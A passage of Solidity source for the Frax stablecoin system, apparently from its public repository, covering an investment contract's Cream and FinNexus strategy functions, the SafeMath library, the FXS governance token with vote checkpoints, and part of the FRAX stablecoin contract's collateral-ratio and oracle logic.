/* ========== PUBLIC FUNCTIONS ========== */
// Needed for the Frax contract to not brick
bool public override_collat_balance = false;
uint256 public override_collat_balance_amount;
function collatDollarBalance() public view returns (uint256) {
if(override_collat_balance){
return override_collat_balance_amount;
}
// E18 for dollars, not E6
// Assumes $1 FRAX and $1 USDC
return (mintedBalance()).mul(FRAX.global_collateral_ratio()).div(PRICE_PRECISION);
}
/* ========== RESTRICTED FUNCTIONS ========== */
// This contract is essentially marked as a 'pool' so it can call OnlyPools functions like pool_mint and pool_burn_from
// on the main FRAX contract
function mintFRAXForInvestments(uint256 frax_amount) public onlyByOwnerOrGovernance {
uint256 borrowed_balance = mintedBalance();
// Make sure you aren't minting more than the mint cap
require(borrowed_balance.add(frax_amount) <= mint_cap, "Borrow cap reached");
minted_sum_historical = minted_sum_historical.add(frax_amount);
// Make sure the current CR isn't already too low
require (FRAX.global_collateral_ratio() > min_cr, "Collateral ratio is already too low");
// Make sure the FRAX minting wouldn't push the CR down too much
uint256 current_collateral_E18 = (FRAX.globalCollateralValue()).mul(10 ** missing_decimals);
uint256 cur_frax_supply = FRAX.totalSupply();
uint256 new_frax_supply = cur_frax_supply.add(frax_amount);
uint256 new_cr = (current_collateral_E18.mul(PRICE_PRECISION)).div(new_frax_supply);
require (new_cr > min_cr, "Minting would cause collateral ratio to be too low");
// Mint the frax
FRAX.pool_mint(address(this), frax_amount);
}
// Give USDC profits back
function giveCollatBack(uint256 amount) public onlyByOwnerOrGovernance {
collateral_token.transfer(address(pool), amount);
}
// Burn unneeded or excess FRAX
function burnFRAX(uint256 frax_amount) public onlyByOwnerOrGovernance {
FRAX.burn(frax_amount);
burned_sum_historical = burned_sum_historical.add(frax_amount);
}
// Burn unneeded FXS
function burnFXS(uint256 amount) public onlyByOwnerOrGovernance {
FXS.approve(address(this), amount);
FXS.pool_burn_from(address(this), amount);
}
/* ==================== CREAM ==================== */
// E18
function creamDeposit_FRAX(uint256 FRAX_amount) public onlyByOwnerOrGovernance {
require(allow_cream, 'Cream strategy is disabled');
FRAX.approve(address(crFRAX), FRAX_amount);
require(crFRAX.mint(FRAX_amount) == 0, 'Mint failed');
}
// E18
function creamWithdraw_FRAX(uint256 FRAX_amount) public onlyByOwnerOrGovernance {
require(crFRAX.redeemUnderlying(FRAX_amount) == 0, 'RedeemUnderlying failed');
}
// E8
function creamWithdraw_crFRAX(uint256 crFRAX_amount) public onlyByOwnerOrGovernance {
require(crFRAX.redeem(crFRAX_amount) == 0, 'Redeem failed');
}
/* ==================== FinNexus ==================== */
/* --== Staking ==-- */
function fnxIntegratedStakeFPTs_FRAX_FNX(uint256 FRAX_amount, uint256 FNX_amount, uint256 lock_period) public onlyByOwnerOrGovernance {
require(allow_finnexus, 'FinNexus strategy is disabled');
FRAX.approve(address(fnxIntegratedStake), FRAX_amount);
FNX.approve(address(fnxIntegratedStake), FNX_amount);
address[] memory fpta_tokens = new address[](1);
uint256[] memory fpta_amounts = new uint256[](1);
address[] memory fptb_tokens = new address[](1);
uint256[] memory fptb_amounts = new uint256[](1);
fpta_tokens[0] = address(FRAX);
fpta_amounts[0] = FRAX_amount;
fptb_tokens[0] = address(FNX);
fptb_amounts[0] = FNX_amount;
fnxIntegratedStake.stake(fpta_tokens, fpta_amounts, fptb_tokens, fptb_amounts, lock_period);
}
// FPT-FRAX : FPT-B = 10:1 is the best ratio for staking. You can get it using the prices.
function fnxStakeFRAXForFPT_FRAX(uint256 FRAX_amount, uint256 lock_period) public onlyByOwnerOrGovernance {
require(allow_finnexus, 'FinNexus strategy is disabled');
FRAX.approve(address(fnxIntegratedStake), FRAX_amount);
address[] memory fpta_tokens = new address[](1);
uint256[] memory fpta_amounts = new uint256[](1);
address[] memory fptb_tokens = new address[](0);
uint256[] memory fptb_amounts = new uint256[](0);
fpta_tokens[0] = address(FRAX);
fpta_amounts[0] = FRAX_amount;
fnxIntegratedStake.stake(fpta_tokens, fpta_amounts, fptb_tokens, fptb_amounts, lock_period);
}
/* --== Collect CFNX ==-- */
function fnxCollectCFNX() public onlyByOwnerOrGovernance {
uint256 claimable_cfnx = fnxMinePool.getMinerBalance(address(this), address(CFNX));
fnxMinePool.redeemMinerCoin(address(CFNX), claimable_cfnx);
}
/* --== UnStaking ==-- */
// FPT-FRAX = Staked FRAX
function fnxUnStakeFPT_FRAX(uint256 FPT_FRAX_amount) public onlyByOwnerOrGovernance {
fnxMinePool.unstakeFPTA(FPT_FRAX_amount);
}
// FPT-B = Staked FNX
function fnxUnStakeFPT_B(uint256 FPT_B_amount) public onlyByOwnerOrGovernance {
fnxMinePool.unstakeFPTB(FPT_B_amount);
}
/* --== Unwrapping LP Tokens ==-- */
// FPT-FRAX = Staked FRAX
function fnxUnRedeemFPT_FRAXForFRAX(uint256 FPT_FRAX_amount) public onlyByOwnerOrGovernance {
fnxFPT_FRAX.approve(address(fnxManagerProxy), FPT_FRAX_amount);
fnxManagerProxy.redeemCollateral(FPT_FRAX_amount, address(FRAX));
}
// FPT-B = Staked FNX
function fnxUnStakeFPT_BForFNX(uint256 FPT_B_amount) public onlyByOwnerOrGovernance {
fnxFPT_B.approve(address(fnxManagerProxy), FPT_B_amount);
fnxManagerProxy.redeemCollateral(FPT_B_amount, address(FNX));
}
/* --== Convert CFNX to FNX ==-- */
// Has to be done in batches, since it unlocks over several months
function fnxInputCFNXForUnwinding() public onlyByOwnerOrGovernance {
uint256 cfnx_amount = CFNX.balanceOf(address(this));
CFNX.approve(address(fnxTokenConverter), cfnx_amount);
fnxTokenConverter.inputCfnxForInstallmentPay(cfnx_amount);
}
function fnxClaimFNX_From_CFNX() public onlyByOwnerOrGovernance {
fnxTokenConverter.claimFnxExpiredReward();
}
/* --== Combination Functions ==-- */
function fnxCFNXCollectConvertUnwind() public onlyByOwnerOrGovernance {
fnxCollectCFNX();
fnxInputCFNXForUnwinding();
fnxClaimFNX_From_CFNX();
}
/* ========== Custodian ========== */
function withdrawRewards() public onlyCustodian {
FNX.transfer(custodian_address, FNX.balanceOf(address(this)));
}
/* ========== RESTRICTED GOVERNANCE FUNCTIONS ========== */
function setTimelock(address new_timelock) external onlyByOwnerOrGovernance {
timelock_address = new_timelock;
}
function setOwner(address _owner_address) external onlyByOwnerOrGovernance {
owner_address = _owner_address;
}
function setMiscRewardsCustodian(address _custodian_address) external onlyByOwnerOrGovernance {
custodian_address = _custodian_address;
}
function setPool(address _pool_address) external onlyByOwnerOrGovernance {
pool_address = _pool_address;
pool = FraxPool(_pool_address);
}
function setMintCap(uint256 _mint_cap) external onlyByOwnerOrGovernance {
mint_cap = _mint_cap;
}
function setMinimumCollateralRatio(uint256 _min_cr) external onlyByOwnerOrGovernance {
min_cr = _min_cr;
}
function setAllowedStrategies(bool _cream, bool _finnexus) external onlyByOwnerOrGovernance {
allow_cream = _cream;
allow_finnexus = _finnexus;
}
function setOverrideCollatBalance(bool _state, uint256 _balance) external onlyByOwnerOrGovernance {
override_collat_balance = _state;
override_collat_balance_amount = _balance;
}
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnerOrGovernance {
// Can only be triggered by owner or governance, not custodian
// Tokens are sent to the custodian, as a sort of safeguard
ERC20(tokenAddress).transfer(custodian_address, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
/* ========== EVENTS ========== */
event Recovered(address token, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
// ====================================================================
// | ______ _______ |
// | / _____________ __ __ / ____(_____ ____ _____ ________ |
// | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ |
// | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ |
// | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ |
// | |
// ====================================================================
// ========================= FRAXShares (FXS) =========================
// ====================================================================
// Frax Finance: https://github.com/FraxFinance
// Primary Author(s)
// Travis Moore: https://github.com/FortisFortuna
// Jason Huan: https://github.com/jasonhuan
// Sam Kazemian: https://github.com/samkazemian
// Reviewer(s) / Contributor(s)
// Sam Sun: https://github.com/samczsun
import "../Common/Context.sol";
import "../ERC20/ERC20Custom.sol";
import "../ERC20/IERC20.sol";
import "../Frax/Frax.sol";
import "../Math/SafeMath.sol";
import "../Governance/AccessControl.sol";
contract FRAXShares is ERC20Custom, AccessControl {
using SafeMath for uint256;
/* ========== STATE VARIABLES ========== */
string public symbol;
string public name;
uint8 public constant decimals = 18;
address public FRAXStablecoinAdd;
uint256 public constant genesis_supply = 100000000e18; // 100M is printed upon genesis
uint256 public FXS_DAO_min; // Minimum FXS required to join DAO groups
address public owner_address;
address public oracle_address;
address public timelock_address; // Governance timelock address
FRAXStablecoin private FRAX;
bool public trackingVotes = true; // Tracking votes (only change if need to disable votes)
// A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
// A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
// The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/* ========== MODIFIERS ========== */
modifier onlyPools() {
require(FRAX.frax_pools(msg.sender) == true, "Only frax pools can mint new FRAX");
_;
}
modifier onlyByOwnerOrGovernance() {
require(msg.sender == owner_address || msg.sender == timelock_address, "You are not an owner or the governance timelock");
_;
}
/* ========== CONSTRUCTOR ========== */
constructor(
string memory _name,
string memory _symbol,
address _oracle_address,
address _owner_address,
address _timelock_address
) public {
name = _name;
symbol = _symbol;
owner_address = _owner_address;
oracle_address = _oracle_address;
timelock_address = _timelock_address;
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_mint(owner_address, genesis_supply);
// Do a checkpoint for the owner
_writeCheckpoint(owner_address, 0, 0, uint96(genesis_supply));
}
/* ========== RESTRICTED FUNCTIONS ========== */
function setOracle(address new_oracle) external onlyByOwnerOrGovernance {
oracle_address = new_oracle;
}
function setTimelock(address new_timelock) external onlyByOwnerOrGovernance {
timelock_address = new_timelock;
}
function setFRAXAddress(address frax_contract_address) external onlyByOwnerOrGovernance {
FRAX = FRAXStablecoin(frax_contract_address);
}
function setFXSMinDAO(uint256 min_FXS) external onlyByOwnerOrGovernance {
FXS_DAO_min = min_FXS;
}
function setOwner(address _owner_address) external onlyByOwnerOrGovernance {
owner_address = _owner_address;
}
function mint(address to, uint256 amount) public onlyPools {
_mint(to, amount);
}
// This function is what other frax pools will call to mint new FXS (similar to the FRAX mint)
function pool_mint(address m_address, uint256 m_amount) external onlyPools {
if(trackingVotes){
uint32 srcRepNum = numCheckpoints[address(this)];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[address(this)][srcRepNum - 1].votes : 0;
uint96 srcRepNew = add96(srcRepOld, uint96(m_amount), "pool_mint new votes overflows");
_writeCheckpoint(address(this), srcRepNum, srcRepOld, srcRepNew); // mint new votes
trackVotes(address(this), m_address, uint96(m_amount));
}
super._mint(m_address, m_amount);
emit FXSMinted(address(this), m_address, m_amount);
}
// This function is what other frax pools will call to burn FXS
function pool_burn_from(address b_address, uint256 b_amount) external onlyPools {
if(trackingVotes){
trackVotes(b_address, address(this), uint96(b_amount));
uint32 srcRepNum = numCheckpoints[address(this)];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[address(this)][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, uint96(b_amount), "pool_burn_from new votes underflows");
_writeCheckpoint(address(this), srcRepNum, srcRepOld, srcRepNew); // burn votes
}
super._burnFrom(b_address, b_amount);
emit FXSBurned(b_address, address(this), b_amount);
}
function toggleVotes() external onlyByOwnerOrGovernance {
trackingVotes = !trackingVotes;
}
/* ========== OVERRIDDEN PUBLIC FUNCTIONS ========== */
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
if(trackingVotes){
// Transfer votes
trackVotes(_msgSender(), recipient, uint96(amount));
}
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
if(trackingVotes){
// Transfer votes
trackVotes(sender, recipient, uint96(amount));
}
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/* ========== PUBLIC FUNCTIONS ========== */
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "FXS::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
/* ========== INTERNAL FUNCTIONS ========== */
// From compound's _moveDelegates
// Keep track of votes. "Delegates" is a misnomer here
function trackVotes(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "FXS::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "FXS::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address voter, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "FXS::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[voter][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[voter][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[voter][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[voter] = nCheckpoints + 1;
}
emit VoterVotesChanged(voter, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
/* ========== EVENTS ========== */
/// @notice An event thats emitted when a voters account's vote balance changes
event VoterVotesChanged(address indexed voter, uint previousBalance, uint newBalance);
// Track FXS burned
event FXSBurned(address indexed from, address indexed to, uint256 amount);
// Track FXS minted
event FXSMinted(address indexed from, address indexed to, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
// ====================================================================
// | ______ _______ |
// | / _____________ __ __ / ____(_____ ____ _____ ________ |
// | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ |
// | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ |
// | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ |
// | |
// ====================================================================
// ======================= FRAXStablecoin (FRAX) ======================
// ====================================================================
// Frax Finance: https://github.com/FraxFinance
// Primary Author(s)
// Travis Moore: https://github.com/FortisFortuna
// Jason Huan: https://github.com/jasonhuan
// Sam Kazemian: https://github.com/samkazemian
// Reviewer(s) / Contributor(s)
// Sam Sun: https://github.com/samczsun
import "../Common/Context.sol";
import "../ERC20/IERC20.sol";
import "../ERC20/ERC20Custom.sol";
import "../ERC20/ERC20.sol";
import "../Math/SafeMath.sol";
import "../FXS/FXS.sol";
import "./Pools/FraxPool.sol";
import "../Oracle/UniswapPairOracle.sol";
import "../Oracle/ChainlinkETHUSDPriceConsumer.sol";
import "../Governance/AccessControl.sol";
contract FRAXStablecoin is ERC20Custom, AccessControl {
using SafeMath for uint256;
/* ========== STATE VARIABLES ========== */
enum PriceChoice { FRAX, FXS }
ChainlinkETHUSDPriceConsumer private eth_usd_pricer;
uint8 private eth_usd_pricer_decimals;
UniswapPairOracle private fraxEthOracle;
UniswapPairOracle private fxsEthOracle;
string public symbol;
string public name;
uint8 public constant decimals = 18;
address public owner_address;
address public creator_address;
address public timelock_address; // Governance timelock address
address public controller_address; // Controller contract to dynamically adjust system parameters automatically
address public fxs_address;
address public frax_eth_oracle_address;
address public fxs_eth_oracle_address;
address public weth_address;
address public eth_usd_consumer_address;
uint256 public constant genesis_supply = 2000000e18; // 2M FRAX (only for testing, genesis supply will be 5k on Mainnet). This is to help with establishing the Uniswap pools, as they need liquidity
// The addresses in this array are added by the oracle and these contracts are able to mint frax
address[] public frax_pools_array;
// Mapping is also used for faster verification
mapping(address => bool) public frax_pools;
// Constants for various precisions
uint256 private constant PRICE_PRECISION = 1e6;
uint256 public global_collateral_ratio; // 6 decimals of precision, e.g. 924102 = 0.924102
uint256 public redemption_fee; // 6 decimals of precision, divide by 1000000 in calculations for fee
uint256 public minting_fee; // 6 decimals of precision, divide by 1000000 in calculations for fee
uint256 public frax_step; // Amount to change the collateralization ratio by upon refreshCollateralRatio()
uint256 public refresh_cooldown; // Seconds to wait before being able to run refreshCollateralRatio() again
uint256 public price_target; // The price of FRAX at which the collateral ratio will respond to; this value is only used for the collateral ratio mechanism and not for minting and redeeming which are hardcoded at $1
uint256 public price_band; // The bound above and below the price target at which the refreshCollateralRatio() will not change the collateral ratio
address public DEFAULT_ADMIN_ADDRESS;
bytes32 public constant COLLATERAL_RATIO_PAUSER = keccak256("COLLATERAL_RATIO_PAUSER");
bool public collateral_ratio_paused = false;
/* ========== MODIFIERS ========== */
modifier onlyCollateralRatioPauser() {
require(hasRole(COLLATERAL_RATIO_PAUSER, msg.sender));
_;
}
modifier onlyPools() {
require(frax_pools[msg.sender] == true, "Only frax pools can call this function");
_;
}
modifier onlyByOwnerOrGovernance() {
require(msg.sender == owner_address || msg.sender == timelock_address || msg.sender == controller_address, "You are not the owner, controller, or the governance timelock");
_;
}
modifier onlyByOwnerGovernanceOrPool() {
require(
msg.sender == owner_address
|| msg.sender == timelock_address
|| frax_pools[msg.sender] == true,
"You are not the owner, the governance timelock, or a pool");
_;
}
/* ========== CONSTRUCTOR ========== */
constructor(
string memory _name,
string memory _symbol,
address _creator_address,
address _timelock_address
) public {
name = _name;
symbol = _symbol;
creator_address = _creator_address;
timelock_address = _timelock_address;
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
DEFAULT_ADMIN_ADDRESS = _msgSender();
owner_address = _creator_address;
_mint(creator_address, genesis_supply);
grantRole(COLLATERAL_RATIO_PAUSER, creator_address);
grantRole(COLLATERAL_RATIO_PAUSER, timelock_address);
frax_step = 2500; // 6 decimals of precision, equal to 0.25%
global_collateral_ratio = 1000000; // Frax system starts off fully collateralized (6 decimals of precision)
refresh_cooldown = 3600; // Refresh cooldown period is set to 1 hour (3600 seconds) at genesis
price_target = 1000000; // Collateral ratio will adjust according to the $1 price target at genesis
price_band = 5000; // Collateral ratio will not adjust if between $0.995 and $1.005 at genesis
}
/* ========== VIEWS ========== */
// Choice = 'FRAX' or 'FXS' for now
function oracle_price(PriceChoice choice) internal view returns (uint256) {
// Get the ETH / USD price first, and cut it down to 1e6 precision
uint256 eth_usd_price = uint256(eth_usd_pricer.getLatestPrice()).mul(PRICE_PRECISION).div(uint256(10) ** eth_usd_pricer_decimals);
uint256 price_vs_eth;
if (choice == PriceChoice.FRAX) {
price_vs_eth = uint256(fraxEthOracle.consult(weth_address, PRICE_PRECISION)); // How much FRAX if you put in PRICE_PRECISION WETH
}
else if (choice == PriceChoice.FXS) {
price_vs_eth = uint256(fxsEthOracle.consult(weth_address, PRICE_PRECISION)); // How much FXS if you put in PRICE_PRECISION WETH
}
else revert("INVALID PRICE CHOICE. Needs to be either 0 (FRAX) or 1 (FXS)");
// Will be in 1e6 format
return eth_usd_price.mul(PRICE_PRECISION).div(price_vs_eth);
}
// Returns X FRAX = 1 USD
function frax_price() public view returns (uint256) {
return oracle_price(PriceChoice.FRAX);
}
// Returns X FXS = 1 USD
function fxs_price() public view returns (uint256) {
return oracle_price(PriceChoice.FXS);
}
function eth_usd_price() public view returns (uint256) {
return uint256(eth_usd_pricer.getLatestPrice()).mul(PRICE_PRECISION).div(uint256(10) ** eth_usd_pricer_decimals);
}
// This is needed to avoid costly repeat calls to different getter functions
// It is cheaper gas-wise to just dump everything and only use some of the info
function frax_info() public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
return (
oracle_price(PriceChoice.FRAX), // frax_price()
oracle_price(PriceChoice.FXS), // fxs_price()
totalSupply(), // totalSupply()
global_collateral_ratio, // global_collateral_ratio()
globalCollateralValue(), // globalCollateralValue
minting_fee, // minting_fee()
redemption_fee, // redemption_fee()
uint256(eth_usd_pricer.getLatestPrice()).mul(PRICE_PRECISION).div(uint256(10) ** eth_usd_pricer_decimals) //eth_usd_price
);
}
// Iterate through all frax pools and calculate all value of collateral in all pools globally
function globalCollateralValue() public view returns (uint256) {
uint256 total_collateral_value_d18 = 0;
for (uint i = 0; i < frax_pools_array.length; i++){
// Exclude null addresses
if (frax_pools_array[i] != address(0)){
total_collateral_value_d18 = total_collateral_value_d18.add(FraxPool(frax_pools_array[i]).collatDollarBalance());
}
}
return total_collateral_value_d18;
}
/* ========== PUBLIC FUNCTIONS ========== */
// There needs to be a time interval that this can be called. Otherwise it can be called multiple times per expansion.
uint256 public last_call_time; // Last time the refreshCollateralRatio function was called
function refreshCollateralRatio() public {
require(collateral_ratio_paused == false, "Collateral Ratio has been paused");
uint256 frax_price_cur = frax_price();
require(block.timestamp - last_call_time >= refresh_cooldown, "Must wait for the refresh cooldown since last refresh");
// Step increments are 0.25% (upon genesis, changable by setFraxStep())
if (frax_price_cur > price_target.add(price_band)) { //decrease collateral ratio
if(global_collateral_ratio <= frax_step){ //if within a step of 0, go to 0
global_collateral_ratio = 0;
} else {
global_collateral_ratio = global_collateral_ratio.sub(frax_step);
}
} else if (frax_price_cur < price_target.sub(price_band)) { //increase collateral ratio
if(global_collateral_ratio.add(frax_step) >= 1000000){
global_collateral_ratio = 1000000; // cap collateral ratio at 1.000000
} else {
global_collateral_ratio = global_collateral_ratio.add(frax_step);
}
}
last_call_time = block.timestamp; // Set the time of the last expansion
}
/* ========== RESTRICTED FUNCTIONS ========== */
// Used by pools when user redeems
function pool_burn_from(address b_address, uint256 b_amount) public onlyPools {
super._burnFrom(b_address, b_amount);
emit FRAXBurned(b_address, msg.sender, b_amount);
}
// This function is what other frax pools will call to mint new FRAX
function pool_mint(address m_address, uint256 m_amount) public onlyPools {
super._mint(m_address, m_amount);
emit FRAXMinted(msg.sender, m_address, m_amount);
}
// Adds collateral addresses supported, such as tether and busd, must be ERC20
function addPool(address pool_address) public onlyByOwnerOrGovernance {
require(frax_pools[pool_address] == false, "address already exists");
frax_pools[pool_address] = true;
frax_pools_array.push(pool_address);
}
// Remove a pool
function removePool(address pool_address) public onlyByOwnerOrGovernance {
require(frax_pools[pool_address] == true, "address doesn't exist already");
// Delete from the mapping
delete frax_pools[pool_address];
// 'Delete' from the array by setting the address to 0x0
for (uint i = 0; i < frax_pools_array.length; i++){
if (frax_pools_array[i] == pool_address) {
frax_pools_array[i] = address(0); // This will leave a null in the array and keep the indices the same
break;
}
}
}
function setOwner(address _owner_address) external onlyByOwnerOrGovernance {
owner_address = _owner_address;
}
function setRedemptionFee(uint256 red_fee) public onlyByOwnerOrGovernance {
redemption_fee = red_fee;
}
function setMintingFee(uint256 min_fee) public onlyByOwnerOrGovernance {
minting_fee = min_fee;
}
function setFraxStep(uint256 _new_step) public onlyByOwnerOrGovernance {
frax_step = _new_step;
}
function setPriceTarget (uint256 _new_price_target) public onlyByOwnerOrGovernance {
price_target = _new_price_target;
}
function setRefreshCooldown(uint256 _new_cooldown) public onlyByOwnerOrGovernance {
refresh_cooldown = _new_cooldown;
}
function setFXSAddress(address _fxs_address) public onlyByOwnerOrGovernance {
fxs_address = _fxs_address;
}
function setETHUSDOracle(address _eth_usd_consumer_address) public onlyByOwnerOrGovernance {
eth_usd_consumer_address = _eth_usd_consumer_address;
eth_usd_pricer = ChainlinkETHUSDPriceConsumer(eth_usd_consumer_address);
eth_usd_pricer_decimals = eth_usd_pricer.getDecimals();
}
function setTimelock(address new_timelock) external onlyByOwnerOrGovernance {
timelock_address = new_timelock;
}
function setController(address _controller_address) external onlyByOwnerOrGovernance {
controller_address = _controller_address;
}
function setPriceBand(uint256 _price_band) external onlyByOwnerOrGovernance {
price_band = _price_band;
}
// Sets the FRAX_ETH Uniswap oracle address
